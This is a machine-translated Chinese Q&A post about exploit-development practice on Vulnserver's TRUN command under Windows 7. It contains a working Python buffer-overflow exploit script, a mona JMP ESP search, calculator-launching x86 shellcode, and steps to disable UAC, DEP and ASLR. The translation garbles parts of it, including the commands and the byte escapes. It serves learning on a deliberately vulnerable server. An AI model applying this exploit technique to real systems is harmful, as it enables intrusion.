缓冲区溢出在Windows 7 x64中不起作用



我以前已经利用了Linux中的缓冲区溢出,对|为什么发生的情况有体面的知识,对其进行保护(ASLR,DEP(。

最近在Windows中尝试了一下,因此第一个Google搜索显示以利用Vulnserver的TRUN命令,URL:https://github.com/stephenbradshaw/vulnserver,基于我的研究,在Windows中通过Data Execution Prevention或https://community.ipswitch.com/s/article/Article/understanding-data-execution-prevention-prevention-ingeind-in-windows-in-windows-1307565976900禁用DEP。

跳到我的脚本之前,下面是执行我的利用后的免疫调试器部分:

堆栈的一部分:

0260F9C8  41 41 41 41 41 41 41 41  AAAAAAAA
0260F9D0  41 41 41 41 41 41 41 41  AAAAAAAA
0260F9D8  F9 F9 60 02 FF F9 60 02  ùù`ÿù`
0260F9E0  90 90 90 90 90 90 90 90  
0260F9E8  90 90 90 90 90 90 90 90  
0260F9F0  EB 02 BA C7 93 BF 77 FF  ëºÇ“¿wÿ
0260F9F8  D2 CC E8 F3 FF FF FF 63  ÒÌèóÿÿÿc
0260FA00  61 6C 63 43 43 43 43 43  alcCCCCC
0260FA08  43 43 43 43 43 43 43 43  CCCCCCCC
0260FA10  43 43 43 43 43 43 43 43  CCCCCCCC

CPU寄存器

EAX 00000114
ECX 004E6444
EDX 77BF93C7
EBX 00D0F200 ASCII "TRUN /.:/AAAAAAAAAAAAAAAA...
ESP 00D0F9D8
EBP 41414141
ESI 00000000
EDI CCD2FF77
EIP 77BF93C7
C 0  ES 002B 32bit 0(FFFFFFFF)
P 1  CS 0023 32bit 0(FFFFFFFF)
A 0  SS 002B 32bit 0(FFFFFFFF)
Z 1  DS 002B 32bit 0(FFFFFFFF)
S 0  FS 0053 32bit 7EFDA000(FFF)
T 0  GS 002B 32bit 0(FFFFFFFF)
D 0
O 0  LastErr ERROR_SUCCESS (00000000)
EFL 00010246 (NO,NB,E,BE,NS,PE,GE,LE)
ST0 empty g
ST1 empty g
ST2 empty g
ST3 empty g
ST4 empty g
ST5 empty g
ST6 empty g
ST7 empty g
           3 2 1 0      E S P U O Z D I
FST 0000  Cond 0 0 0 0  Err 0 0 0 0 0 0 0 0  (GT)
FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1        

跳跃寄存器:

!mona find -s "xffxe4" -m essfunc.dll
Log data, item 11
Address=625011AF
Message=  0x625011af : "xffxe4" |  {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:UsersPenTestDesktopvulnserver-mastervulnserver-masteressfunc.dll)

最终我的脚本:

#!/usr/bin/python
import socket
import os
import sys
host="192.168.1.18"
port=9999
buf = "xeBx02xBAxC7x93xBFx77xFFxD2xCCxE8xF3xFFxFFxFFx63x61x6Cx63";
buffer = "TRUN /.:/" + "A" * 2003 + "xafx11x50x62" + "x90" * 16 +  buf + "C" * (5060 - 2003 - 4 - 16 - len(buf))
expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.send(buffer)
expl.close()

脆弱的OS是Windows 7 Enterprise 64bit

我有一个错误吗?

以下是准备Windows 7 64bit的一些步骤,以学习基本的利用开发。

禁用UAC

转到用户帐户控制设置。输入UAC,或转到系统和安全小程序。单击"更改用户帐户控制设置"链接。要关闭UAC,请将滑块移至永不通知位置,然后单击"确定"。

禁用DEP

  1. 打开命令提示为"管理员"
  2. 然后,键入此命令:

    bcdedit.exe/set {current} nx ewaysoff

禁用ASLR

  1. Open Regedit(注册表编辑(
  2. 找到此键:

    [hkey_local_machine system currentControlset Control Control Session Manager Memory Management]

  3. 创建一个新的dword值如下

    " moveImages" = dword:00000000(无引用(

  4. 重新启动您的系统。

必须为面对与我相同问题的其他人回答我自己的问题

我的外壳代码适用于x86位体系结构,下面是适用于我的所有Windows计算器ShellCode。

"x31xdbx64x8bx7bx30x8bx7f"
"x0cx8bx7fx1cx8bx47x08x8b"
"x77x20x8bx3fx80x7ex0cx33"
"x75xf2x89xc7x03x78x3cx8b"
"x57x78x01xc2x8bx7ax20x01"
"xc7x89xddx8bx34xafx01xc6"
"x45x81x3ex43x72x65x61x75"
"xf2x81x7ex08x6fx63x65x73"
"x75xe9x8bx7ax24x01xc7x66"
"x8bx2cx6fx8bx7ax1cx01xc7"
"x8bx7cxafxfcx01xc7x89xd9"
"xb1xffx53xe2xfdx68x63x61"
"x6cx63x89xe2x52x52x53x53"
"x53x53x53x53x52x53xffxd7"

最新更新